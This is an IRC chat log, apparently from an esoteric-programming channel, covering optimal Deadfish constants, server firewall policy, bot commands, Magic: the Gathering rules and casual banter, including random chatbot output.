15:31:37 <mroman_> You need at most 36 chars to reach any df number 0-255
15:32:54 <mroman_> oerjan: I've bruteforced 213 of them for comparison.
15:33:03 <int-e> this is such a brutal way of installing gentoo: http://pastebin.com/raw.php?i=yKL5wc3W (the link appears in http://www.twitch.tv/twitchinstallsarchlinux/v/23578745 "Twitch installs Arch Linux")
15:33:12 <mroman_> but the whole set was generated by using the fact that there's no better way than to get to the closest square
15:33:47 <mroman_> 255 -> closest square 225 -> 15 -> closest square 16 -> 4 -> 2
15:33:48 <int-e> ah, inc/dec/squaring... this is rather tame.
15:34:58 <oerjan> mroman_: yeah. as i predicted, there are some possible ties.
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15:37:45 <int-e> oerjan: right, iisiii and iiisdd both produce 7
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15:39:23 <oerjan> and above 255, and remembering that 256 and 256^2 are not useful squares, only 65537 needs care to pick the lower one.
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15:40:18 <mroman_> Shall I put it under Deadfish/Constants?
15:40:25 <mroman_> Deadfish is already a large article :)
15:40:36 <mroman_> mabye we should create Deadfish/Implementations someday :D
15:41:12 <oerjan> i'm afraid that would somewhat discourage new ones
15:41:38 <oerjan> assuming people find the Deadfish page, see all the implementations, and decide to make one
15:42:14 <HackEgo> [wiki] [[Deadfish/Constants]] N http://esolangs.org/w/index.php?oldid=45059 * Mroman * (+5334) + list of df constants
15:43:13 <HackEgo> [wiki] [[Deadfish]] http://esolangs.org/w/index.php?diff=45060&oldid=44740 * Mroman * (+83) /* See also */ link to deadfish/constants
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15:45:44 <mroman_> You didn't destroy my fun. I was busy writing the generator :D
15:45:47 <oerjan> mroman_: we could say that there are a finite list of numbers for which the best strategy is _not_ going to closest square, and recursing.
15:46:25 <int-e> Fun... so except for 3 and 4, consecutive deadfish numbers have different parity.
15:46:40 <oerjan> yes, but you don't want to recurse :P
15:47:19 <oerjan> > ((15^2 + 16^2)/2, (16^2 + 17^2)/2)
15:47:40 <oerjan> 241 to 272, because you cannot use 256.
15:48:24 <oerjan> > ((255^2 + 256^2)/2, (256^2 + 257^2)/2)
15:48:49 <Taneb> > (15 * 15, 17 * 17)
15:48:58 <HackEgo> [wiki] [[Deadfish/Constants]] http://esolangs.org/w/index.php?diff=45061&oldid=45059 * Mroman * (+198) + added remark about numbers 0..3
15:49:13 <Taneb> You can sometimes take a shortcut by starting with a d to get 255, I think?
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15:59:34 <HackEgo> [wiki] [[Deadfish/Constants]] http://esolangs.org/w/index.php?diff=45062&oldid=45061 * Oerjan * (+379) Larger numbers, and some clarification
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16:08:10 <mroman_> what's missing is "shortest way to reach 0 again" :D
16:08:35 <mroman_> but since it's not a true module
16:08:57 <mroman_> there's no wrap around from squaring 17
16:09:35 <fizzie> You've discovered a pattern!
16:10:05 <mroman_> instead of doing 17 decrements
16:10:26 <mroman_> fizzie: well now we know the order of 17 in Zmod256
16:11:03 <fizzie> Surely that would be from 17^n, not repeated squaring?
16:11:05 <mroman_> but it's funny that it results in (2^n)+1
16:11:27 <mroman_> my discrete math times are way behind me
16:12:18 <mroman_> let's call it square order
16:12:23 <mroman_> the square order of 17 in Zmod256 is 4
16:12:35 <mroman_> (I have no idea if there already is a name for that)
16:13:06 <mroman_> no wait... that's always the case
16:14:28 <Taneb> > until (\_->True) id ()
16:14:31 <mroman_> > until ((1==).`mod`256) (*) $ 17
16:14:32 <lambdabot> <hint>:1:14: parse error on input ‘`’
16:14:39 <mroman_> > until ((1==).(`mod`256)) (*) $ 17
16:14:41 <lambdabot> Occurs check: cannot construct the infinite type: a ~ a -> a
16:15:01 <mroman_> > until (\c -> c `mod` 256 == 1) (\a -> a*a) $ 17
16:15:15 <Taneb> > until ((1==).(`mod`256)) (join (*)) 17
16:15:41 <mroman_> > logBase 17 48661191875666868481
16:15:58 <mroman_> > logBase (17*17) 48661191875666868481
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16:18:55 <fizzie> You can motivate that it must be 2^n+1 from them bits, given that Z/256Z is them low bits. You start from 10001, and because the high bits don't fit, that squared is (10000+1)*(10000+1) = 10000*1 + 1*10000 + 1*1 = 100001, and then you do the same again to lengthen the worm.
16:20:22 <mroman_> you need at most 10 squarings
16:21:06 <oerjan> the euler totient function of 256 is 128 = 2^7.
16:21:29 <oerjan> so you in fact need at most 7.
16:21:54 <mroman_> if it's even you'd need to square it at max three times to reach zero
16:22:15 <mroman_> so ideally if it's odd you decrement it, then do the squaring
16:22:52 <oerjan> or increment, one of them might be faster.
16:23:10 <oerjan> (the one which is divisible by 4)
16:24:59 <oerjan> as for deadfish itself, i think we've shown that if we're between 17 and 255 we want to go to either 16 by decrementing or 256 by incrementing. squaring always loses.
16:25:40 <oerjan> and if we're above 256 there's nothing to do but decrement.
16:27:25 <oerjan> it's pretty clear we don't want to square between 5 and 15, either.
16:28:29 <oerjan> 1: d, 2: dd, 3: ddd or iss, 4:ss
16:30:13 <oerjan> so we want to reach eiterh 0,4,16 or 256 by decrementing.
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16:31:35 <mroman_> so worst case you need like uhm 120 instructions to reach zero
16:32:20 <mroman_> if it's 136 you do 120 increments
16:32:46 <oerjan> if it's 135 you can do 119 decrements but you still have to square twice
16:32:53 <mroman_> if it's 135 you do 119 increments
16:33:09 <mroman_> 16 only needs a square once
16:34:02 <mroman_> So at worst you need 157*N instructions to produce any text with Deadfish
16:37:59 <oerjan> hm this would be a graph distance problem
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16:43:09 <Taneb> Yay domain antirestriction
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16:45:51 <int-e> hmm, how about this, sssssisssssd
16:46:07 <int-e> or, actually, sssssdsssss
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16:46:25 <int-e> (is relying on 32 bit ints okay?)
16:46:28 <zzo38> Do you like my kind of idea of a kind of package manager, some things it involves are: Packages are represented as RDF nodes, and the goal of the package manager is: The set of installed packages should be the minimal but best set of packages that meet dependency requirements and includes the system root package.
16:46:47 <mroman_> Still on the RDF-fetish streak?
16:47:31 <int-e> and actually, since phi(2^k) = 2^(k-1), sssssd should be enough...
16:48:53 <zzo38> mroman_: Doesn't answer my question. It does not have to be RDF, but this kind of directed graph seem a good way to represent these kind of data, so that is what it can be.
16:49:33 <int-e> ah, that would be sssssssssssssssssssssssssssssssd.... so not worth it.
16:51:31 <int-e> however, if you know the starting number, one of sssss or dsssss will always work.
16:52:16 <oerjan> sssss, issss or dssss, i think
16:52:19 <int-e> or one of sssss, dssss, issss
16:52:28 <int-e> ... stop following my thoughts, it's creepy.
16:52:40 <oerjan> it's been a while since last time, hasn't it
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16:53:15 <oerjan> besides, i already mentioned choosing between i and d to get divisibility by 4 above
16:53:54 <int-e> I'm not aware of having seen that... but the subconscious is a devious beast.
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17:16:45 <HackEgo> RDF is something zzo38 knows about.
17:17:15 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: culprit: not found
17:17:43 <mroman_> `run find ./ | grep culprit
17:17:53 <HackEgo> ./bin/culprits-c \ ./bin/culprits \ ./.hg/store/data/bin/culprits.i \ ./.hg/store/data/bin/culprits-c.i \ ./.hg/store/data/wisdom/culprit.i \ ./wisdom/culprit
17:18:20 <zzo38> RDF is a kind of directed-graphs
17:18:41 <mroman_> I roughly know what it is.
17:18:46 <mroman_> I just have never seen it being used.
17:19:58 <zzo38> I have seen a few FOAF and others, and I also have this: http://zzo38computer.org/my_foaf.ttl
17:20:15 <zzo38> (I also wrote a SQLite extension that can be used to parse this file)
17:20:47 <mroman_> Is that a time-to-live file?
17:23:36 <HackEgo> danddreclist 70: shachaf nooodl boily \ http://zzo38computer.org/dnd/recording/level20.tex
17:26:49 <mroman_> int-e: Oh... btw. Does your vServer have firewall rules?
17:27:34 <mroman_> In case I want to experiment with Esopreter :)
17:29:48 <mroman_> (http://esosc.mroman.ch/ESOSC-2015-D8.TXT would require outbound http(s) connections)
17:29:49 <int-e> there are no such rules atm... but in principle, there's iptables support.
17:30:15 <mroman_> Wait... you have ACCEPT * policies o_O?
17:31:03 <mroman_> usually the only outbound connections I'd allow are the ones that connect to ssh/http ports and have state established
17:31:06 <int-e> I have not configured a package filter.
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17:31:33 <mroman_> because otherwise somebody could easily open a remote shell/remotely download stuff once he finds an exploitable vulnerability somewhere
17:31:39 <int-e> given the running services, there doesn't seem to be any point to it.
17:32:52 <int-e> really. there's ssh and http which I want to be remotely accessible, and there's an SMTP server that only listens locally. That's it.
17:33:09 <mroman_> Yeah, but what if somebody exploits the webserver somehow
17:33:59 <mroman_> Do you have unlimited traffic?
17:34:32 <mroman_> (Not that I intend to use much traffic.)
17:34:54 <mroman_> But the general idea of esopreter is to have hosts that provide some languages and a central host that uses these hosts
17:35:05 <mroman_> i.e. a golfing site for esoteric programming languages
17:35:21 <mroman_> then if somebody creates a new language he can host it himself somewhere and you just need to add the URL to the central host
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17:35:49 <mroman_> assuming that language hosts are honest people and don't cheat by just sending the output for the most recent golf challenge or something like that
17:38:17 <int-e> it says 500G monthly transfer, not sure what happens afterwards
17:39:04 <mroman_> usually you'll pay per gig that exceeds the limit
17:39:13 <mroman_> but you said this was a one time pay
17:39:38 <mroman_> but nvm. that's stage 2 anyway
17:39:51 <mroman_> stage 1 is to provide a website with javascript that makes the requests
17:40:08 <mroman_> so it run's through the visitor's browser
17:40:46 <mroman_> stage 2 would be to actually build a golfing site :)
17:41:07 <mroman_> (in which case the server would need to do the request to verify the outputs of the program against the expected output)
17:41:40 <mroman_> unless we use a public/private key infrastructure :D
17:41:55 <mroman_> then the esopreter hosts could sign the output with a private key
17:42:23 <mroman_> and the user submits the signature to the golfing site which then verifies it using the hosts private key
17:50:33 <int-e> ok, they say they'll bill me $0.01 per GB if I go over 500GB... at 100MBit that's firmly in the acceptable risk category for me.
17:51:07 <mroman_> Well I doubt burlesque.cgi will generate more than 500GB :D
17:51:47 <mroman_> but if it does feel free to stop it :)
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17:54:45 <int-e> Oh I was considering the case that somebody hacks the server and manages to use all the bandwidth. That'll be about $10 a day, so it bears watching out for but won't impover me on the spot.
17:56:15 <int-e> I like languages with regular grammars. Unfortunately, English is not one of those.
18:03:01 <izabera> regular is a hard constraint
18:05:15 <int-e> oerjan: look at this shiny code for 0 -> 255: +++^-^^^++^^^-
18:10:23 <int-e> (where + = i, - = d, ^ = s)
18:13:32 <int-e> we were discussion deadfish
18:15:02 <int-e> it's related to http://esolangs.org/wiki/Deadfish/Constants
18:15:38 <int-e> also my program is wrong... the 256 that is produced there shouldn't survive.
18:43:00 <int-e> ugh I hope that wasp eater isn't going to suffocate on that waffle.
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19:30:16 <GoToTell> "Esoteric programming languages, a form of mathematical recreation in which programmers work out how to achieve basic programming constructs in an extremely difficult but mathematically Turing-equivalent language."
19:30:37 <GoToTell> That's how we would define Esoteric Programming, right?
19:32:56 <izabera> also i wouldn't put that much focus on the math aspect
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19:38:25 <HackEgo> [wiki] [[User:Bexandre/SpeedPL]] http://esolangs.org/w/index.php?diff=45063&oldid=45036 * Bexandre * (+193)
19:38:51 <HackEgo> [wiki] [[User:Bexandre/SpeedPL]] http://esolangs.org/w/index.php?diff=45064&oldid=45063 * Bexandre * (+55)
19:39:22 <quintopia> I'd go with "Esoteric programming languages is a form of mathematical recreation in which people create or modify programming languages"
19:39:36 <quintopia> if you start getting into purpose, you inevitably exclude something
19:39:39 <HackEgo> [wiki] [[User:Bexandre/SpeedPL]] http://esolangs.org/w/index.php?diff=45065&oldid=45064 * Bexandre * (+55) /* Syntax */
19:39:49 <quintopia> even saying "programming languages" might even be misleading
19:40:32 <quintopia> "Esoteric programming languages is a form of mathematical recreation in which people do stuff, usually involving computers"
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19:41:33 <zzo38> These cable box are not very good, they are forced to use their on-screen-display and cannot use MIDI.
19:41:39 <GoToTell> Stuff like "Clue". Esoteric, but probably not programmable.
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20:26:26 <zzo38> I would think domain-specific would be better way implementing Magic: the Gathering card and also other similar card game which can include Pokemon card and others too. :spell-ability [:do [:draw 3; :who [:target :player]]; :display "Target player draws 3 cards."]
20:28:34 <HackEgo> Mon Nov 2 20:28:09 UTC 2015
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20:33:09 <b_jonas> what kind of syntax is that? it's not s-expressions, not smalltalk-like, not C-like, not logo-like
20:36:33 <Taneb> Woah woah woah it's almost Tanebiversary
20:36:56 <Taneb> In 3 and a half hours
20:37:59 <izabera> a very merry unbirthday for now
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21:06:35 <b_jonas> just how many more black-white zombie soldiers does this game need
21:06:46 <b_jonas> wasn't that one in Invasion enough?
21:07:08 <b_jonas> what next, will they be printing flying merfolk elves again?
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22:20:51 <HackEgo> [wiki] [[Special:Log/move]] move * Bexandre * moved [[User:Bexandre/SpeedPL]] to [[User:Bexandre/Attic]]
22:21:32 <HackEgo> [wiki] [[User:Bexandre]] http://esolangs.org/w/index.php?diff=45068&oldid=45006 * Bexandre * (-4)
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00:59:08 <tswett> Let's look at the latest Clickotron headlines.
00:59:12 <tswett> Some of them are completely plausible.
01:00:23 <tswett> "How To Make A Chocolate Cake"
01:00:55 <tswett> "We Need To Talk Security"
01:01:46 <tswett> "7 Killed In High-Speed Police Chase On Detroit's East Side"
01:02:27 <tswett> "The Only Thing Our Financial System Can Do Right Now"
01:02:57 <tswett> "How To Choose The Best Makeup For Your Body"
01:03:35 <tswett> "'General Hospital' Clip: The Big Reveal"
01:03:59 <tswett> Hey, it*'s my birthday too.
01:04:15 <tswett> "Why Is This The Greatest Song In The World?"
01:04:49 <tswett> "13 Lessons Learned In 2015"
01:05:26 <tswett> Here's one that's not completely plausible.
01:05:32 <tswett> "Are Gay Men's Names Running From Your Wedding?"
01:06:09 <tswett> See, this is why gay marriage should have stayed illegal in the US. It's resulting in tons of gay men's names running from people's weddings.
01:07:54 <izabera> tswett: winner winner chicken dinner
01:09:14 * FireFly . o O ( * boily has quit (dinner chicken) )
01:11:03 * FireFly attempts a risky bilingual pun
01:11:45 <FireFly> https://en.wiktionary.org/wiki/tja#Interjection_5
01:13:16 <FireFly> So what're you up to this fine evening?
01:14:10 <shachaf> i was looking at norwegian
01:15:40 <fizzie> Finnish has "tjaa" as an interjection, but we pronounce it completely differently from sv:tja, and it only has the etymology 2 from that link.
01:16:03 <lambdabot> Local time for FireFly is Tue, 03 Nov 2015 02:16:02 +0100
01:16:22 <shachaf> FireFly: local time for FireFly is very delayed hth
01:17:05 <FireFly> FireFly happens to be IRCing through a bouncer with some latency issues
01:17:51 <FireFly> fizzie: the two "tja"s have different pronounciation; the second one has a long 'a' for us as well (although perhaps the 'tj' part is differennt, too?)
01:19:25 <fizzie> Yes, it doesn't have a /ɕ/ at all. I think it's literally just /tj/.
01:20:16 <fizzie> It's also sufficiently informal to not be in Wiktionary at all, apparently.
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01:23:51 <fizzie> shachaf: I don't remember what that's like, if I ever knew.
01:24:26 <fizzie> Apparently the Appendix E of the Finnish translation uses it as the example of the Westron consonant TV, if that helps.
01:25:10 <fizzie> "TY marks a combination that was likely pronunced like tj in Finnish tjaa5. It originated usually from c or the combination t + y. The speakers of Westron usually replaced this with the tš-sound common in their language", writes someone at a forum, translating Appendix E of the Finnish translation.
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01:25:35 <fizzie> My copy of the books is back in Finland.
01:25:59 <fizzie> Sorry, we've locked the doors.
01:26:03 <fizzie> You can't get at the books.
01:26:18 <shachaf> what about the rest of finland
01:26:30 <fizzie> That's probably still open.
01:28:05 <fizzie> I'll probably have to go to Finland for the defense early next year.
01:30:36 <fizzie> Yes, by a still unnamed opponent.
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01:40:16 <tswett> Stuff I got wrong. A creature with toughness 0 isn't destroyed as a state-based action; it spontaneously dies instead. If a damage shield depends on a quality of the source (e.g. "Prevent all damage a red source of your choice would deal this turn") and that source's quality changes, the shield no longer applies until the quality changes back.
01:40:37 <tswett> Also the layer system.
01:40:45 <tswett> I guess that's the next thing I'll have to study.
01:45:14 <zzo38> How many rules you don't understand?
01:46:30 <zzo38> I already know that toughness 0 or less is not destroy, it is just placed into graveyard as a state based action. It is destroyed by too much damage or deathtouch damage though as a state base action
01:47:07 <tswett> I haven't counted the rules that I don't understand.
01:55:53 <hppavilion[2]> I kind of want to make a low-level computercraft minecraft mod
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02:18:38 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45069&oldid=44921 * SuperJedi224 * (-2) /* Example programs */
02:29:11 <zzo38> What is your opinions of some of the effect that would be cause by R&D's Secret Lair? Many people write the comment but I think some are wrong and/or incompleted.
02:30:41 <zzo38> Someone mentioned it would allow the old Lightning Bolt card to target a land. But, I think it could also target cards in opponent's hand, activated abilities on the stack that haven't yet resolved, the command zone, etc. I think even you could damage all non-token creatures/planeswalkers with one spell.
02:45:30 <shachaf> Is there a way to give the command zone shroud?
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03:00:19 <zzo38> A zone can't have abilities, I think.
03:00:45 <zzo38> I expect such an effect would give the shroud ability to each card in the command zone.
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03:16:03 <zzo38> Please tell me if I missed one answer
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03:26:29 <zzo38> I was disconnected due to error
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03:41:36 <coppro> is scapegoat going to be a thing?
03:47:05 <zzo38> What kind of idea?
03:47:23 <coppro> to allow one revision to actually be a sequence of revisions
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04:34:12 <Sgeo> "Format returns a textual representation of the time value formatted according to layout, which defines the format by showing how the reference time, defined to be
04:34:13 <Sgeo> Mon Jan 2 15:04:05 -0700 MST 2006
04:34:13 <Sgeo> would be displayed if it were the value"
04:34:18 <Sgeo> https://golang.org/pkg/time/#Time.Format
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04:53:36 <Sgeo> Saw it referenced on lolphp, and that was linked to by gobashing
04:56:14 <lifthrasiir> Sgeo: as an alternative way for formatting dates, fine. as a sole way for formatting dates, no way.
04:57:14 <Sgeo> https://www.reddit.com/r/lolphp/comments/3q3ktc/as_befits_php_it_uses_something_that_looks_the/cwcs1ce
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10:08:59 <izabera> https://www.codeeval.com/open_challenges/44/ i finally submitted a bash entry that fits in the 10s timeout
10:09:13 <izabera> just wanted to ask: is there a way that doesn't require to generate all the list?
10:10:22 <izabera> fwiw my code is this http://arin.ga/kEbDKA/raw
10:13:28 <lifthrasiir> izabera: yes. it is possible. https://en.wikipedia.org/wiki/Permutation#Generation_in_lexicographic_order
10:14:00 <HackEgo> [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45070&oldid=45066 * Bexandre * (-12)
10:14:21 <lifthrasiir> actually, there are three levels of possible permutations
10:14:39 <lifthrasiir> the first level is the length of resulting sequence
10:14:41 <HackEgo> [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45071&oldid=45070 * Bexandre * (+3) /* Syntax */
10:15:38 <lifthrasiir> the second level is the position of excess 0s (if there are two 0s and three other digits, say, the list is *00** *0*0* *0**0 **00* **0*0 ***00)
10:15:59 <lifthrasiir> the final, third level is the relative position of remaining digits
10:16:09 <HackEgo> [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45072&oldid=45071 * Bexandre * (-2)
10:16:14 <lifthrasiir> the second and third levels can be implemented with the same algorithm
10:16:54 <HackEgo> [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45073&oldid=45072 * Bexandre * (+1)
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10:25:01 <HackEgo> [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45074&oldid=45073 * Bexandre * (+220)
10:26:06 <HackEgo> [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45075&oldid=45074 * Bexandre * (+4735) /* Syntax */
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10:27:51 <HackEgo> [wiki] [[User:Bexandre/Attic]] http://esolangs.org/w/index.php?diff=45076&oldid=45075 * Bexandre * (-85)
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11:15:59 <fungot> mroman: 120 l 1 to 8 unique mobs can be interrogated to implement display changes outside the quotes. when the routine
11:16:31 <mroman> fungot: Ok, do the interrogation.
11:16:31 <fungot> mroman: if bit 2 is opened.
11:16:41 <fungot> mroman: poke 53270,peek(53270)or 16 note: the test bit, and left functions are always located at 65126 ( fe66).
11:16:48 <fungot> Available: agora alice c64* ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
11:17:01 <fungot> Selected style: youtube (Some YouTube comments)
11:17:09 <mroman> fungot: How's the interrogation going?
11:17:09 <fungot> mroman: ok, we have to mount an attack on us. we have definite evidence that airbus' record is immaculate against boeings poor show, you can't fly a huge stake in the reasoning.
11:19:14 <fungot> olsner: i agree about the lizard ad was by far the biggest sell-out since me! but now she seems happier. 3) why is it
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11:28:01 <mroman> Yeah, that damn lizard ad was a real sell-out.
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11:28:43 <mroman> fungot: But I'm glad she feels happier now.
11:28:43 <fungot> mroman: my favorite player) go steelers yaay! the terrorrists in iraq and stuff.
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11:32:18 <mroman> fungot: could you stop saying things that trigger NSABot?
11:32:18 <fungot> mroman: yes but she got spunk that inspires all over the pure genius of this you will get no respect justin timberlake
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11:37:21 <fungot> boily: finally a snow game", " song title is " box" tho. if you consider all of it
11:37:52 <boily> fungot: I mean, ew.
11:37:52 <fungot> boily: trailer, i did... but i stand corrected. it was
11:38:03 <boily> fungot: really, ew.
11:38:03 <fungot> boily: no it wasnt trying to do is sit and watch videos all day long, and had his licence withdrawn by air france
11:38:20 <boily> fungot: I do hope your license was revoked! you perv!
11:38:20 <fungot> boily: and that's why i dont want naked avril on my face right now or you may think you are
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12:09:01 <fizzie> boily: What, you don't like the hit song Box?
12:13:19 <boily> fizziello. it's a dick song.
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12:46:11 <HackEgo> antediluvian/We could tell you what antediluvian means, but that would just open a flood of questions.
12:46:22 <HackEgo> find: `wisdom/*more*': No such file or directory \ /cat: : No such file or directory
12:46:27 <HackEgo> brainf**k/There is no such thing as brainf**k. You may be thinking of brainfuck.
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13:20:45 <int-e> would a cow in s-expressions ne canned meat?
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13:54:52 <HackEgo> "Gnimmargorp" er algeng stafsetningarvilla af "grimmargorp".
13:55:08 <HackEgo> Þór, Grimmargorpurinn hefur sloppið! Ragnarök eru nálæg!
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14:00:43 <oerjan> `learn Scow (S-cow) is canned meat made from cows with a lisp.
14:00:45 <HackEgo> Learned 'scow': Scow (S-cow) is canned meat made from cows with a lisp.
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14:01:31 <int-e> the lisp is a nice twist.
14:02:51 <int-e> the hat moos over oysters?
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14:21:08 <myname> i mean, i get the word
14:21:35 <oerjan> icelandic can be hard.
14:22:11 <oerjan> although it's really just "grimmargorp sounds a like a monster from norse mythology"
14:43:36 <b_jonas> fungot, how do you turn the browser plugin off?
14:43:36 <fungot> b_jonas: the lmao add too ignorant, continue to be around. ever noticed how, when did this confuse the shit
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14:54:52 <fungot> mroman: you could hear the engines didn t respond and in 1988 and the crystal ball and the promotion and the promotion and the aircraft and didn't have half the charisma as in your comment
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14:55:54 <mroman> `learn Ethanol is a Group 1 carcinogenic substance since 1988.
14:55:55 <HackEgo> Learned 'ethanol': Ethanol is a Group 1 carcinogenic substance since 1988.
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15:29:16 <Taneb> Important question:
15:29:24 <Taneb> What is thirst supposed to feel like?
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15:33:05 <b_jonas> fungot, what does thirst feel like?
15:33:15 <b_jonas> fungot, what sohuld thirst feel like?
15:33:15 <fungot> b_jonas: aircraft type airbus a320 operated by remote control test toy ever. i'll definitely be picking up your album!
15:33:20 <quintopia> sometimes accompanied by a bad taste
15:33:51 <Taneb> Because I don't think I've ever felt that. It's just suddenly it feels like someone's wrapped a sheet around my brain
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15:39:27 <b_jonas> fungot, what is the capacity of that new super passenger airplane?
15:39:27 <fungot> b_jonas: you people? it's a good job!
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15:40:25 <quintopia> well dehydration feels different from thirst
15:44:32 <Taneb> Yeah, I think I just skip to dehydration and it sukcs
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16:33:41 <mroman> Taneb: It's impossible to describe feelings to somebody who never had them.
16:33:49 <mroman> also... it's useless to describe feelings to someone who has them
16:34:30 <b_jonas> fungot, can you describe the feeling of hearing the description of a feeling you never have for the first time?
16:34:30 <fungot> b_jonas: im not gonna happen...u must b brain dead...
16:38:21 <MDude> I'm not sure if it would be entirely impossible.
16:39:42 <MDude> But if it's not, the language needed to convey that emotion probably isn't obvious.
16:41:45 <b_jonas> MDude: you have to be a very good poet or writer for it, basically
16:45:01 <MDude> The hard part if fidning people who haven't experience a feeling and then deciding how to test their understanding without putting them in a situation where they'd feel the emotion.
16:45:28 <MDude> Since that would spoil the whole test of how well you explained it to them.
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17:08:33 <zzo38> I think now I thought of how you could make up a kind of vertical hyphenation with TeX.
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17:17:49 <mroman> It's liking describing colours to a blind person since birth.
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17:18:06 <mroman> Or music to a deaf person.
17:18:11 <mroman> I don't think it can be done.
17:18:22 <mroman> No matter what language.
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17:23:19 <b_jonas> fungot: how would you describe the octarine color?
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17:25:36 <zzo38> I think you can describe music for deaf people, although they cannot hear it and therefore don't understand as good as people who hear the music, but it can still be explained (but an explanation is not sufficient to understand music properly).
17:26:06 <zzo38> Colours too could be explained to some degree, although still it is not sufficient to understand them.
17:26:22 <zzo38> Partially understanding is possible, though
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17:35:58 <FreeFull> zzo38: I think eyesight really is something that needs to be experienced to be really understood
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17:36:53 <FreeFull> There are cases of people who have been born blind, but then surgery later in their life made them able to see
17:38:45 <b_jonas> ` x=bin/datei; >"$x" $'#!/bin/sh\nexec date --rfc-3=n "$@"' && chmod a+x "$x"
17:38:46 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
17:38:52 <b_jonas> `` x=bin/datei; >"$x" $'#!/bin/sh\nexec date --rfc-3=n "$@"' && chmod a+x "$x"
17:38:54 <HackEgo> bash: #!/bin/sh \ exec date --rfc-3=n "$@": No such file or directory
17:39:03 <b_jonas> `` x=bin/datei; >"$x" echo $'#!/bin/sh\nexec date --rfc-3=n "$@"' && chmod a+x "$x"
17:39:10 <HackEgo> 2015-11-03 17:38:44.291844000+00:00
17:39:32 <mroman> Well you can state that the human eye is capable of distinguishing different materials etc. by what light they refract
17:43:13 <b_jonas> oh right, fungot hates me again
17:43:51 <zzo38> FreeFull: Yes it is what I meant you need to be experience to be really understood, otherwise it can onlty to vbe the partial understanding.
17:44:09 <b_jonas> he's not alone. geordi hates me as well.
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17:52:32 <Taneb> I don't think Worf or Geordi are robots
17:53:28 <mroman> I heard google was working on rowbots for rowboats.
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18:47:46 <HackEgo> wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø?
18:48:22 <int-e> izabera: I don't think that there has to be a reason. It sounds amusing anyway.
18:48:31 <HackEgo> Mythology is the study of myths, moths and mirths.
18:52:33 <HackEgo> php is the PigeonHole Principle
19:02:44 <HackEgo> Perl is the Perfect Emacs Rewriting Language
19:02:59 <FreeFull> Someone come up with a good entry for awk now
19:08:27 <hppavilion[1]> FreeFull: We could make a chicken joke, but that doesn't sound very good
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19:12:03 <FreeFull> I don't think that'd be very good either
19:12:42 <FreeFull> awk (1p) - pattern scanning and processing language
19:12:42 <HackEgo> apropos: can't open the manpath configuration file /etc/manpath.config
19:13:04 <FreeFull> Woops, didn't mean to trigger HackEgo
19:15:37 <FreeFull> `wisdom awk pattern scanning and processing language
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19:15:38 <HackEgo> find: `wisdom/*awk pattern scanning and processing language*': No such file or directory \ /cat: : No such file or directory
19:15:51 <HackEgo> xargs/xargs is for piping snowmen.
19:16:46 <int-e> . o O ( `learn Awkward is one of the cardinal directions, the others being grepward, sedward and perlward. )
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20:02:25 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45077&oldid=44875 * Bexandre * (+10) /* A */
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20:38:40 <HackEgo> HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing.
20:41:40 <zzo38> Other idea of Magic: the Gathering cards can be cards that change their power, toughness, abilities, or other stuff depending on how much damage is marked on it.
20:42:02 <nchambers> I think they already kind of have that
20:42:49 <HackEgo> [wiki] [[Licorne]] N http://esolangs.org/w/index.php?oldid=45078 * Bexandre * (+1291) Created page with "'''[http://www.mediafire.com/download/8hapxc00za591ja/LicornePL.zip Licorne]''', also known as '''LicornePL''', litteraly "Unicorn", is an [[interpreter|interpreted]] esoter..."
20:43:38 <zzo38> (For example, enchanted creature gets +1/-1 per point of damage marked on it; or, exchange amount of damage marked on this creature with damage marked on target creature, or something else)
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20:45:01 <zzo38> Or, a card whose toughness is decreased by the amount of mana in your mana pool
20:46:43 <HackEgo> [wiki] [[Licorne]] http://esolangs.org/w/index.php?diff=45079&oldid=45078 * Bexandre * (+120)
20:47:09 <HackEgo> [wiki] [[Licorne]] http://esolangs.org/w/index.php?diff=45080&oldid=45079 * Bexandre * (+10)
20:49:38 <zzo38> (Generally your mana pool would be empty when state-based effect are checked but in some cases it will not be, including if you do it deliberately)
20:52:42 <b_jonas> zzo38: Omnath, Locus of Mana does something like that
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20:54:01 <zzo38> Yes, that is one thing done with it but there are other possibilities too, such as +1/-1 and does not prevent mana from evaporating, or it can be an enchantment, or whatever else
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20:57:30 <zzo38> "~ has all colors of mana in your mana pool."
20:58:22 <zzo38> (Or, has protection from such colors; or, could have both)
20:58:55 <zzo38> If both, then it won't be protected from itself while your mana pool contains no colored mana.
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21:05:05 <b_jonas> zzo38: as for damage marked, no cards do the kind of things you mentioned. there are lots of cards with regeneration, indestructible, and totem armor, plus at least one more card that removes damage marked,
21:05:29 <b_jonas> and one strange card that refers to damage marked to change when that damage destroys it: Ogre Enforcer.
21:05:36 <b_jonas> but nothing of the sort you've mentioned.
21:09:40 <b_jonas> good news: the mod:// shortcut didn't support giving a fragment part, so we're not breaking anything.
21:13:25 <b_jonas> ah, wrong channel, ignore last line
21:17:41 -!- int-e has set topic: The right channel. | You has indestructible. | ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
21:18:16 <HackEgo> Right is not two wrongs but three lefts.
21:18:44 <int-e> . o O ( that would make left 1/3 right )
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21:39:06 <int-e> . o O ( Sacrifice target player: add 1 black mana to your mana pool. )
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21:53:46 <int-e> of course, this joke's been done... http://www.hipstersofthecoast.com/2014/09/scrub-report-variations/
